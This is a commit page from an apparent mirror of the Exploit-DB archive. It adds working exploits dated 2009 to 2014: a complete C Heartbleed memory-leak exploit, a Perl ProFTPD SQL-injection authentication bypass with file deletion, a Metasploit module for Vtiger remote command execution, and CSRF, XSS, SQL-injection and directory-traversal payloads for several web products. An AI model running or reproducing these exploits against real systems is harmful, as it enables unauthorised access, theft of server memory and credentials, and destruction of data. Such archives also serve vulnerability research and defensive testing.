bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

Updated 04_12_2014

Browse source
This commit is contained in:
Offensive Security 2014-04-12 04:33:45 +00:00
parent 34d65d4ca3
commit 544779d2f2
18 changed files with 1350 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

17
files.csv
View file

@ -29543,3 +29543,20 @@ id,file,description,date,author,platform,type,port
32783,platforms/php/webapps/32783.txt,"FotoWeb 6.0 Grid.fwx search Parameter XSS",2009-02-09,"Stelios Tigkas",php,webapps,0
32784,platforms/php/webapps/32784.txt,"glFusion 1.1 Anonymous Comment 'username' Field HTML Injection Vulnerability",2009-02-05,"Bjarne Mathiesen Schacht",php,webapps,0
32785,platforms/php/webapps/32785.txt,"Bitrix Site Manager 6/7 Multiple Input Validation Vulnerabilities",2009-02-09,aGGreSSor,php,webapps,0
32789,platforms/unix/remote/32789.rb,"Sophos Web Protection Appliance Interface Authenticated Arbitrary Command Execution",2014-04-10,metasploit,unix,remote,443
32790,platforms/php/webapps/32790.txt,"XCloner Standalone 3.5 - CSRF Vulnerability",2014-04-10,"High-Tech Bridge SA",php,webapps,80
32791,platforms/multiple/remote/32791.c,"Heartbleed OpenSSL Information Leak Exploit",2014-04-10,prdelka,multiple,remote,443
32792,platforms/php/webapps/32792.txt,"Orbit Open Ad Server 1.1.0 - SQL Injection",2014-04-10,"High-Tech Bridge SA",php,webapps,80
32793,platforms/windows/local/32793.rb,"MS14-017 Microsoft Word RTF Object Confusion",2014-04-10,metasploit,windows,local,0
32794,platforms/php/remote/32794.rb,"Vtiger Install Unauthenticated Remote Command Execution",2014-04-10,metasploit,php,remote,80
32795,platforms/novell/remote/32795.txt,"Novell QuickFinder Server Multiple Cross-Site Scripting Vulnerabilities",2009-02-09,"Ivan Sanchez",novell,remote,0
32796,platforms/linux/remote/32796.txt,"Swann DVR4 SecuraNet Directory Traversal Vulnerability",2009-02-10,"Terry Froy",linux,remote,0
32797,platforms/asp/webapps/32797.txt,"Banking@Home 2.1 'Login.asp' Multiple SQL Injection Vulnerabilities",2009-02-10,"Francesco Bianchino",asp,webapps,0
32798,platforms/multiple/remote/32798.pl,"ProFTPD 1.3 'mod_sql' Username SQL Injection Vulnerability",2009-02-10,AlpHaNiX,multiple,remote,0
32799,platforms/windows/remote/32799.html,"Nokia Phoenix 2008.4.7 Service Software ActiveX Controls Multiple Buffer Overflow Vulnerabilities",2009-02-10,MurderSkillz,windows,remote,0
32801,platforms/hardware/remote/32801.txt,"Barracuda Load Balancer 'realm' Parameter Cross Site Scripting Vulnerability",2009-02-05,"Jan Skovgren",hardware,remote,0
32802,platforms/php/webapps/32802.txt,"ClipBucket 1.7 'dwnld.php' Directory Traversal Vulnerability",2009-02-16,JIKO,php,webapps,0
32803,platforms/php/webapps/32803.txt,"A4Desk Event Calendar 'eventid' Parameter SQL Injection Vulnerability",2008-10-01,r45c4l,php,webapps,0
32804,platforms/php/webapps/32804.txt,"lastRSS autoposting bot MOD 0.1.3 'phpbb_root_path' Parameter Remote File Include Vulnerability",2009-02-20,Kacper,php,webapps,0
32805,platforms/linux/local/32805.c,"Linux Kernel 2.6.x 'sock.c' SO_BSDCOMPAT Option Information Disclosure Vulnerability",2009-02-20,"Clément Lecigne",linux,local,0
32806,platforms/php/webapps/32806.txt,"Blue Utopia 'index.php' Local File Include Vulnerability",2009-02-22,PLATEN,php,webapps,0

Can't render this file because it is too large.

9
platforms/asp/webapps/32797.txt Executable file
View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/33721/info
Banking@Home is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Banking@Home 2.1 is vulnerable; other versions may also be affected.
http://www.example.com/document_root/Login.asp?LoginName='Some_SQL_Stuff&Password=&submit=Login

9
platforms/hardware/remote/32801.txt Executable file
View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/33779/info
Barracuda Load Balancer is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Barracuda Load Balancer 640 is vulnerable; other versions may also be affected.
http://www.example.com/cgi-mod/index.cgi?realm="><script>alert(â??XSS Possible!!!â??)</script>

18
platforms/linux/local/32805.c Executable file
View file

@ -0,0 +1,18 @@
source: http://www.securityfocus.com/bid/33846/info
The Linux Kernel is prone to an information-disclosure vulnerability because it fails to properly initialize certain memory before using using it in a user-accessible operation.
Successful exploits will allow attackers to view portions of kernel memory. Information harvested may be used in further attacks.
Versions prior to Linux Kernel 2.6.28.8 are vulnerable.
int main(void)
{
unsigned char buf[4] = { 0, 0, 0, 0 };
int len;
int sock;
sock = socket(33, 2, 2);
getsockopt(sock, 1, SO_BSDCOMPAT, &buf, &len);
printf("%x%x%x%x\n", buf[0], buf[1], buf[2], buf[3]);
close(sock);
}

7
platforms/linux/remote/32796.txt Executable file
View file

@ -0,0 +1,7 @@
source: http://www.securityfocus.com/bid/33716/info
Swann DVR4 SecuraNet is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.
Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.
http://www.example.com/../../var/run/vy_netman.cfg

521
platforms/multiple/remote/32791.c Executable file
View file

@ -0,0 +1,521 @@
/*
* CVE-2014-0160 heartbleed OpenSSL information leak exploit
* =========================================================
* This exploit uses OpenSSL to create an encrypted connection
* and trigger the heartbleed leak. The leaked information is
* returned encrypted and is then decrypted, decompressed and
* wrote to a file to annoy IDS/forensics. The exploit can set
* the heatbeart payload length arbitrarily or use two preset
* values for 0x00 and MAX length. The vulnerability occurs due
* to bounds checking not being performed on a heap value which
* is user supplied and returned to the user as part of DTLS/TLS
* heartbeat SSL extension. All versions of OpenSSL 1.0.1 to
* 1.0.1f are known affected. You must run this against a target
* which is linked to a vulnerable OpenSSL library using DTLS/TLS.
*
* Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSSL 1.0.1g
*
* E.g.
* $ gcc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed
* $ ./heartbleed -s 192.168.11.9 -p 443 -f leakme -t 65535
* [ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit
* [ =============================================================
* [ connecting to 192.168.11.9 443/tcp
* [ connected to 192.168.11.9 443/tcp
* [ setting heartbeat payload_length to 65535
* [ heartbeat returned type=24 length=16416
* [ decrypting and decompressing SSL packet
* [ final record type=24, length=16384
* [ wrote 16384 bytes to file 'leakme'
* [ done.
* $ hexdump -C leakme
* - snip - snip
*
* Added support for pre_cmd's and as an example use STARTTLS
* to leak from vulnerable SMTP services.
*
* Added experimental support for exploiting connecting clients
* with rogue server. Generate certificates with the following:
*
* $ openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
* -keyout server.key -out server.crt
*
* todo: add udp/dtls support.
*
* - Hacker Fantastic
* http://www.mdsec.co.uk
*
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>
#include <signal.h>
#include <netdb.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <inttypes.h>
#include <openssl/bio.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/tls1.h>
#include <openssl/rand.h>
#include <openssl/buffer.h>
#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
(((unsigned int)(c[1])) )),c+=2)
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
c[1]=(unsigned char)(((s) )&0xff)),c+=2)
typedef struct {
int socket;
SSL *sslHandle;
SSL_CTX *sslContext;
} connection;
typedef struct {
unsigned char type;
short version;
unsigned int length;
unsigned char hbtype;
unsigned int payload_length;
void* payload;
} heartbeat;
void ssl_init();
void usage();
void* heartbleed(connection*,unsigned int);
void* sneakyleaky(connection*,char*,int);
int tcp_connect(char*,int);
int tcp_bind(char*, int);
connection* tls_connect(int);
connection* tls_bind(int);
int pre_cmd(int,int);
void* heartbleed(connection* ,unsigned int);
void* sneakyleaky(connection* ,char*, int);
int tcp_connect(char* server,int port){
int sd,ret;
struct hostent *host;
struct sockaddr_in sa;
host = gethostbyname(server);
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd==-1){
printf("[!] cannot create socket\n");
exit(0);
}
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr = *((struct in_addr *) host->h_addr);
bzero(&(sa.sin_zero),8);
printf("[ connecting to %s %d/tcp\n",server,port);
ret = connect(sd,(struct sockaddr *)&sa, sizeof(struct sockaddr));
if(ret==0){
printf("[ connected to %s %d/tcp\n",server,port);
}
else{
printf("[!] FATAL: could not connect to %s %d/tcp\n",server,port);
exit(0);
}
return sd;
}
int tcp_bind(char* server, int port){
int sd, ret, val=1;
struct sockaddr_in sin;
struct hostent *host;
host = gethostbyname(server);
sd=socket(AF_INET,SOCK_STREAM,0);
if(sd==-1){
printf("[!] cannot create socket\n");
exit(0);
}
memset(&sin,0,sizeof(sin));
sin.sin_addr=*((struct in_addr *) host->h_addr);
sin.sin_family=AF_INET;
sin.sin_port=htons(port);
setsockopt(sd,SOL_SOCKET,SO_REUSEADDR,&val,sizeof(val));
ret = bind(sd,(struct sockaddr *)&sin,sizeof(sin));
if(ret==-1){
printf("[!] cannot bind socket\n");
exit(0);
}
listen(sd,5);
return(sd);
}
void ssl_init(){
SSL_load_error_strings();
SSL_library_init();
OpenSSL_add_all_digests();
OpenSSL_add_all_algorithms();
OpenSSL_add_all_ciphers();
}
connection* tls_connect(int sd){
connection *c;
c = malloc(sizeof(connection));
c->socket = sd;
c->sslHandle = NULL;
c->sslContext = NULL;
c->sslContext = SSL_CTX_new(TLSv1_client_method());
if(c->sslContext==NULL)
ERR_print_errors_fp(stderr);
c->sslHandle = SSL_new(c->sslContext);
if(c->sslHandle==NULL)
ERR_print_errors_fp(stderr);
if(!SSL_set_fd(c->sslHandle,c->socket))
ERR_print_errors_fp(stderr);
if(SSL_connect(c->sslHandle)!=1)
ERR_print_errors_fp(stderr);
if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
}
return c;
}
connection* tls_bind(int sd){
int bytes;
connection *c;
char* buf;
buf = malloc(4096);
memset(buf,0,4096);
c = malloc(sizeof(connection));
c->socket = sd;
c->sslHandle = NULL;
c->sslContext = NULL;
c->sslContext = SSL_CTX_new(TLSv1_server_method());
if(c->sslContext==NULL)
ERR_print_errors_fp(stderr);
SSL_CTX_set_options(c->sslContext, SSL_OP_ALL | SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3);
SSL_CTX_SRP_CTX_init(c->sslContext);
SSL_CTX_use_certificate_file(c->sslContext, "./server.crt", SSL_FILETYPE_PEM);
SSL_CTX_use_PrivateKey_file(c->sslContext, "./server.key", SSL_FILETYPE_PEM);
if(!SSL_CTX_check_private_key(c->sslContext)){
printf("[!] FATAL: private key does not match the certificate public key\n");
exit(0);
}
c->sslHandle = SSL_new(c->sslContext);
if(c->sslHandle==NULL)
ERR_print_errors_fp(stderr);
if(!SSL_set_fd(c->sslHandle,c->socket))
ERR_print_errors_fp(stderr);
int rc = SSL_accept(c->sslHandle);
printf ("[ SSL connection using %s\n", SSL_get_cipher (c->sslHandle));
bytes = SSL_read(c->sslHandle, buf, 4095);
printf("[ recieved: %d bytes - showing output\n%s\n[\n",bytes,buf);
if(!c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
c->sslHandle->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS){
printf("[ warning: heartbeat extension is unsupported (try anyway)\n");
}
return c;
}
int pre_cmd(int sd,int verbose){
/* this function can be used to send commands to a plain-text
service or client before heartbleed exploit attempt. e.g. STARTTLS */
int rc;
char* buffer;
char* hello = "EHLO test\n";
char* start = "STARTTLS\n";
buffer = malloc(2049);
memset(buffer,0,2049);
rc = read(sd,buffer,2048);
printf("[ banner: %s",buffer);
send(sd,hello,strlen(hello),0);
memset(buffer,0,2049);
rc = read(sd,buffer,2048);
if(verbose==1){
printf("%s\n",buffer);
}
send(sd,start,strlen(start),0);
memset(buffer,0,2049);
rc = read(sd,buffer,2048);
if(verbose==1){
printf("%s\n",buffer);
}
return sd;
}
void* heartbleed(connection *c,unsigned int type){
unsigned char *buf, *p;
int ret;
buf = OPENSSL_malloc(1 + 2);
p = buf;
*p++ = TLS1_HB_REQUEST;
switch(type){
case 0:
s2n(0x0,p);
break;
case 1:
s2n(0xffff,p);
break;
default:
printf("[ setting heartbeat payload_length to %u\n",type);
s2n(type,p);
break;
}
printf("[ <3 <3 <3 heart bleed <3 <3 <3 <3\n");
ret = ssl3_write_bytes(c->sslHandle, TLS1_RT_HEARTBEAT, buf, 3);
OPENSSL_free(buf);
return c;
}
void* sneakyleaky(connection *c,char* filename, int verbose){
char *p;
int ssl_major,ssl_minor,al;
int enc_err,n,i;
SSL3_RECORD *rr;
SSL_SESSION *sess;
SSL* s;
unsigned char md[EVP_MAX_MD_SIZE];
short version;
unsigned mac_size, orig_len;
size_t extra;
rr= &(c->sslHandle->s3->rrec);
sess=c->sslHandle->session;
s = c->sslHandle;
if (c->sslHandle->options & SSL_OP_MICROSOFT_BIG_SSLV3_BUFFER)
extra=SSL3_RT_MAX_EXTRA;
else
extra=0;
if ((s->rstate != SSL_ST_READ_BODY) ||
(s->packet_length < SSL3_RT_HEADER_LENGTH)) {
n=ssl3_read_n(s, SSL3_RT_HEADER_LENGTH, s->s3->rbuf.len, 0);
if (n <= 0)
goto apple;
s->rstate=SSL_ST_READ_BODY;
p=s->packet;
rr->type= *(p++);
ssl_major= *(p++);
ssl_minor= *(p++);
version=(ssl_major<<8)|ssl_minor;
n2s(p,rr->length);
if(rr->type==24){
printf("[ heartbeat returned type=%d length=%u\n",rr->type, rr->length);
}
else{
printf("[ incorrect record type=%d length=%u returned\n",rr->type,rr->length);
s->packet_length=0;
goto apple;
}
}
if (rr->length > s->packet_length-SSL3_RT_HEADER_LENGTH){
i=rr->length;
n=ssl3_read_n(s,i,i,1);
if (n <= 0) goto apple;
}
printf("[ decrypting and decompressing SSL packet\n");
s->rstate=SSL_ST_READ_HEADER;
rr->input= &(s->packet[SSL3_RT_HEADER_LENGTH]);
rr->data=rr->input;
tls1_enc(s,0);
if((sess != NULL) &&
(s->enc_read_ctx != NULL) &&
(EVP_MD_CTX_md(s->read_hash) != NULL))
{
unsigned char *mac = NULL;
unsigned char mac_tmp[EVP_MAX_MD_SIZE];
mac_size=EVP_MD_CTX_size(s->read_hash);
OPENSSL_assert(mac_size <= EVP_MAX_MD_SIZE);
orig_len = rr->length+((unsigned int)rr->type>>8);
if(orig_len < mac_size ||
(EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE &&
orig_len < mac_size+1)){
al=SSL_AD_DECODE_ERROR;
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_LENGTH_TOO_SHORT);
}
if (EVP_CIPHER_CTX_mode(s->enc_read_ctx) == EVP_CIPH_CBC_MODE){
mac = mac_tmp;
ssl3_cbc_copy_mac(mac_tmp, rr, mac_size, orig_len);
rr->length -= mac_size;
}
else{
rr->length -= mac_size;
mac = &rr->data[rr->length];
}
i = tls1_mac(s,md,0);
if (i < 0 || mac == NULL || CRYPTO_memcmp(md, mac, (size_t)mac_size) != 0)
enc_err = -1;
if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra+mac_size)
enc_err = -1;
}
if(enc_err < 0){
al=SSL_AD_BAD_RECORD_MAC;
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DECRYPTION_FAILED_OR_BAD_RECORD_MAC);
goto apple;
}
if(s->expand != NULL){
if (rr->length > SSL3_RT_MAX_COMPRESSED_LENGTH+extra) {
al=SSL_AD_RECORD_OVERFLOW;
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_COMPRESSED_LENGTH_TOO_LONG);
goto apple;
}
if (!ssl3_do_uncompress(s)) {
al=SSL_AD_DECOMPRESSION_FAILURE;
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_BAD_DECOMPRESSION);
goto apple;
}
}
if (rr->length > SSL3_RT_MAX_PLAIN_LENGTH+extra) {
al=SSL_AD_RECORD_OVERFLOW;
SSLerr(SSL_F_SSL3_GET_RECORD,SSL_R_DATA_LENGTH_TOO_LONG);
goto apple;
}
rr->off=0;
s->packet_length=0;
if(verbose==1){
{ unsigned int z; for (z=0; z<rr->length; z++) printf("%02X%c",rr->data[z],((z+1)%16)?' ':'\n'); }
printf("\n");
}
printf("[ final record type=%d, length=%u\n", rr->type, rr->length);
int fd = open(filename,O_RDWR|O_CREAT|O_APPEND,0700);
write(fd,s->s3->rrec.data,s->s3->rrec.length);
close(fd);
printf("[ wrote %d bytes to file '%s'\n",rr->length, filename);
printf("[ done.\n");
exit(0);
apple:
printf("[ problem handling SSL record packet - wrong type?\n");
}
void usage(){
printf("[\n");
printf("[ --server|-s <ip/dns> - the server to target\n");
printf("[ --port|-p <port> - the port to target\n");
printf("[ --file|-f <filename> - file to write data to\n");
printf("[ --bind|-b <ip> - bind to ip for exploiting clients\n");
printf("[ --precmd|-c - send precmd buffer (STARTTLS)\n");
printf("[ --type|-t - select exploit to try\n");
printf("[ 0 = null length\n");
printf("[ 1 = max leak\n");
printf("[ n = heartbeat payload_length\n");
printf("[\n");
printf("[ --verbose|-v - output leak to screen\n");
printf("[ --help|-h - this output\n");
printf("[\n");
exit(0);
}
int main(int argc, char* argv[]){
int ret, port, userc, index;
int type = 1, udp = 0, verbose = 0, bind = 0, precmd = 0;
struct hostent *h;
connection* c;
char *host, *file;
int ihost = 0, iport = 0, ifile = 0, itype = 0;
printf("[ heartbleed - CVE-2014-0160 - OpenSSL information leak exploit\n");
printf("[ =============================================================\n");
static struct option options[] = {
{"server", 1, 0, 's'},
{"port", 1, 0, 'p'},
{"file", 1, 0, 'f'},
{"type", 1, 0, 't'},
{"bind", 1, 0, 'b'},
{"verbose", 0, 0, 'v'},
{"precmd", 0, 0, 'c'},
{"help", 0, 0,'h'}
};
while(userc != -1) {
userc = getopt_long(argc,argv,"s:p:f:t:b:cvh",options,&index);
switch(userc) {
case -1:
break;
case 's':
if(ihost==0){
ihost = 1;
h = gethostbyname(optarg);
if(h==NULL){
printf("[!] FATAL: unknown host '%s'\n",optarg);
exit(1);
}
host = malloc(strlen(optarg) + 1);
sprintf(host,"%s",optarg);
}
break;
case 'p':
if(iport==0){
port = atoi(optarg);
iport = 1;
}
break;
case 'f':
if(ifile==0){
file = malloc(strlen(optarg) + 1);
sprintf(file,"%s",optarg);
ifile = 1;
}
break;
case 't':
if(itype==0){
type = atoi(optarg);
itype = 1;
}
break;
case 'h':
usage();
break;
case 'b':
if(ihost==0){
ihost = 1;
host = malloc(strlen(optarg)+1);
sprintf(host,"%s",optarg);
bind = 1;
}
break;
case 'c':
precmd = 1;
break;
case 'v':
verbose = 1;
break;
default:
break;
}
}
if(ihost==0||iport==0||ifile==0||itype==0){
printf("[ try --help\n");
exit(0);
}
ssl_init();
if(bind==0){
ret = tcp_connect(host, port);
if(precmd==1){
pre_cmd(ret, verbose);
}
c = tls_connect(ret);
heartbleed(c,type);
sneakyleaky(c,file,verbose);
exit(0);
}
else{
int sd, pid, i;
ret = tcp_bind(host, port);
while(1){
sd=accept(ret,0,0);
if(sd==-1){
printf("[!] FATAL: problem with accept()\n");
exit(0);
}
if(pid=fork()){
close(sd);
}
else{
c = tls_bind(sd);
if(precmd==1){
pre_cmd(ret, verbose);
}
heartbleed(c,type);
sneakyleaky(c,file,verbose);
exit(0);
}
}
}
}

107
platforms/multiple/remote/32798.pl Executable file
View file

@ -0,0 +1,107 @@
source: http://www.securityfocus.com/bid/33722/info
ProFTPD is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to manipulate SQL queries, modify data, or exploit latent vulnerabilities in the underlying database. This may result in unauthorized access and a compromise of the application; other attacks are also possible.
ProFTPD 1.3.1 through 1.3.2 rc 2 are vulnerable.
# Credits Go For gat3way For Finding The Bug ! [AT] http://milw0rm.com/exploits/8037
# Exploited By AlpHaNiX
# HomePage NullArea.Net
# Greetz For Zigma-Djekmani-r1z
use Net::FTP;
if (@ARGV < 1 ) { print"\n\n\n[+] Usage : ".
"\n\n[+] ./exploit.pl ftp.example.com \n\n" ; exit();}
$host = $ARGV[0];
system("cls") ;
print "----------------------------------------------------------\n".
"[+] ProFTPd with mod_mysql Authentication Bypass Exploit \n".
"[+] Credits Go For gat3way For Finding The Bug !\n".
"[+] Exploited By AlpHaNiX \n".
"[+] NullArea.Net\n".
"----------------------------------------------------------\n"."\n[!] Attacking $host ..." ;
$user = "USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; --";
$pass = '1';
$ftp = Net::FTP->new("$host", Debug => 0) or die "[!] Cannot connect to $host";
$ftp->login("$user","$pass") or die "\n\n[!] Couldn't ByPass The authentication ! ", $ftp->message;
print "\n[*] Connected To $host";
print "\n[!] Please Choose A Command To Execute On $host :\n" ;
print "\n\n\n[1] Show Files\n" ;
print "[2] Delete File\n";
print "[3] Rename File or Dir\n";
print "[4] Create A Directory\n";
print "[5] Exit\n";
print "Enter Number Of Command Here => " ;
my $command = <STDIN> ;
chomp $command ;
if ($command==1){&Show}
if ($command==2){&Delete}
if ($command==3){&rename}
if ($command==4){&create_dir}
if ($command==5){&EXIT}
if ($command =! 1||2||3||4||5) {print "\n[!] Not Valid Choise ! Closing..." ;exit()}
sub Show
{
print "\n\n\n[!] Please Specify a directory\n";
my $dir = <STDIN> ;
chomp $dir ;
$ftp->cwd($dir) or $newerr=1;
push @ERRORS, "Can't cd $!\n" if $newerr;
myerr() if $newerr;
$ftp->quit if $newerr;
@files=$ftp->dir or $newerr=1;
push @ERRORS, "Can't get file list $!\n" if $newerr;
myerr() if $newerr;
print "Got file list\n";
foreach(@files) {
print "$_\n";
}
exit();
}
sub Delete
{
print "\n\n\n[!] Please Specify a File To Delete\n";
my $file = <STDIN> ;
chomp $file ;
$ftp->delete($file) or die "\n[!] Error while Deleting $file => " , $ftp->message ;
print "\n[!] $file Deleted !";
}
sub rename
{
print "\n\n\n[!] Please Specify a File To Rename\n";
my $file = <STDIN> ;
chomp $file ;
print "\n[!] Please Specify a New Name For $file\n";
my $name = <STDIN> ;
chomp $name ;
$ftp->rename($file,$name) or die "\n[!] Error while Renaming $file => " , $ftp->message ;
print "\n[!] $file Renamed to $name !";
}
sub create_dir
{
print "\n\n\n[!] Please Specify a Directory Name To create\n";
my $dir = <STDIN> ;
chomp $dir ;
$ftp->mkdir($dir) or die "\n[!] Error while creating $dir => " , $ftp->message ;
print "\n[!] $dir Created !";
}
sub EXIT
{
system("cls");
$ftp->quit;
exit();
}

33
platforms/novell/remote/32795.txt Executable file
View file

@ -0,0 +1,33 @@
source: http://www.securityfocus.com/bid/33708/info
Novell QuickFinder Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
"add virtual server"
https://server:2200/qfsearch/AdminServlet?&req=displayaddsite
Post:
siteloc=%22%3E%3Cscript%20src=http://www.example2.com/scripts/evil-code.js%3E%3C/script%3E
"Default"
Post:
https://server:2200/qfsearch/AdminServlet?site=globalsearchsite&req=generalproperties
site="><script
src=http://www.www.example2.com/scripts/evil-code.js></script>
"services, synchronization"
Post:
https://server:2200/qfsearch/AdminServlet?&req=clusterserviceproperties
site="><script
src=http://www.www.example2.com/scripts/evil-code.js></script>
Querystring:
https://server2200/qfsearch/AdminServlet?&req=global&adminurl="><script
src=http://www.www.example2.com/scripts/evil-code.js></script>

115
platforms/php/remote/32794.rb Executable file
View file

@ -0,0 +1,115 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
# Application database configuration is overwritten
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Vtiger Install Unauthenticated Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
Vtiger install script. This module is set to ManualRanking due to this
module overwriting the target database configuration, which may result in
a broken web app, and you may not be able to get a session again.
},
'Author' =>
[
'Jonathan Borgeaud < research[at]navixia.com >' # Navixia Research Team
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-2268' ],
[ 'URL', 'https://www.navixia.com/blog/entry/navixia-find-critical-vulnerabilities-in-vtiger-crm-cve-2014-2268-cve-2014-2269.html'],
[ 'URL', 'http://vtiger-crm.2324883.n4.nabble.com/Vtigercrm-developers-IMP-forgot-password-and-re-installation-security-fix-tt9786.html'],
],
'Privileged' => false,
'Platform' => ['php'],
'Payload' =>
{
'Space' => 4000,
'BadChars' => "#",
'DisableNops' => true,
'Keys' => ['php']
},
'Arch' => ARCH_PHP,
'Targets' => [[ 'Vtiger 6.0.0 or older', { }]],
'DisclosureDate' => 'Mar 5 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Vtiger', '/'])
], self.class)
end
def exploit
print_status("Injecting payload...")
rand_arg = Rex::Text.rand_text_hex(10)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {'X-Requested-With' => rand_text_alpha(5)},
'vars_get' => {
'module' => 'Install',
'view' => 'Index',
'mode' => 'Step5',
'db_name' => "127.0.0.1'; if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } // "
}})
# Check timeout
if not res
print_error("Request timed out, please try again")
return
end
if res.body =~ /name="auth_key"\s+value=".*?((?:[a-z0-9]*))"/i
authkey = $1
phpsessid = res.get_cookies
if authkey.blank?
print_error("No AuthKey found")
return
elsif phpsessid.blank?
print_error("No PHP Session ID found")
return
end
print_status("Retrieved Authkey : #{authkey}")
print_status("Retrieved PHPSESSID : #{phpsessid}")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {'X-Requested-With' => rand_text_alpha(5)},
'cookie' => phpsessid,
'vars_get' =>
{
'module' => 'Install',
'view' => 'Index',
'mode' => 'Step7',
'auth_key' => authkey
}
})
print_status("Executing payload...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'config.inc.php'),
'vars_get' => { rand_arg => '1' }
})
else
print_error("No auth_key pattern found")
end
end
end

72
platforms/php/webapps/32790.txt Executable file
View file

@ -0,0 +1,72 @@
Advisory ID: HTB23207
Product: XCloner Standalone
Vendor: XCloner
Vulnerable Version(s): 3.5 and probably prior
Tested Version: 3.5
Advisory Publication: March 14, 2014 [without technical details]
Vendor Notification: March 14, 2014
Public Disclosure: April 9, 2014
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
CVE Reference: CVE-2014-2579
Risk Level: High
CVSSv2 Base Score: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in XCloner Standalone, which can be exploited to perform ?ross-Site Request Forgery (CSRF) attacks and gain complete control over the website.
1. ?ross-Site Request Forgery (CSRF) in XCloner Standalone: CVE-2014-2579
1.1 The vulnerability exists due to insufficient validation of HTTP request origin. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and change administrator’s password.
The exploitation example below changes password for user 'login' to 'immuniweb':
<form action="http://[host]/index2.php" method="post" name="main">
<input type="hidden" name="jcuser" value="login">
<input type="hidden" name="jcpass" value="password">
<input type="hidden" name="option" value="com_cloner">
<input type="hidden" name="task" value="config">
<input type="hidden" name="action" value="save">
<script>
document.main.submit();
</script>
</form>
1.2 The vulnerability exists due to insufficient validation of HTTP request origin. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and execute arbitrary system commands on vulnerable system with privileges of the webserver.
The exploitation example below uses the 'echo' system command to write 'immuniweb' string into file '/var/www/file.php':
http://[host]/index2.php?option=com_cloner&task=generate&bname=1&dbbackup=1&cron_access=1&dbbackup_comp=||%20echo immuniweb > /var/www/file.php%20||
Successful exploitation of this vulnerability requires that options 'enable_db_backup' and 'sql_mem' are enabled in application’s configuration file.
-----------------------------------------------------------------------------------------------
Solution:
Vendor ignored:
- 6 notifications by email
- 4 notifications via contact form
- 1 notification via twitter.
Currently we are not aware of any official solution for this vulnerability. As a temporary solution it is recommended to remove the vulnerable script or restrict access to it via WAF of .htaccess.
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23207 - https://www.htbridge.com/advisory/HTB23207 - ?ross-Site Request Forgery (CSRF) in XCloner Standalone.
[2] XCloner Standalone - http://www.xcloner.com - XCloner is a professional website Backup and Restore application designed to allow you to create safe complete backups of any PHP/Mysql website and to be able to restore them anywhere. It works as a native Joomla backup component, as a native Wordpress backup plugin and also as standalone PHP/Mysql backup application.
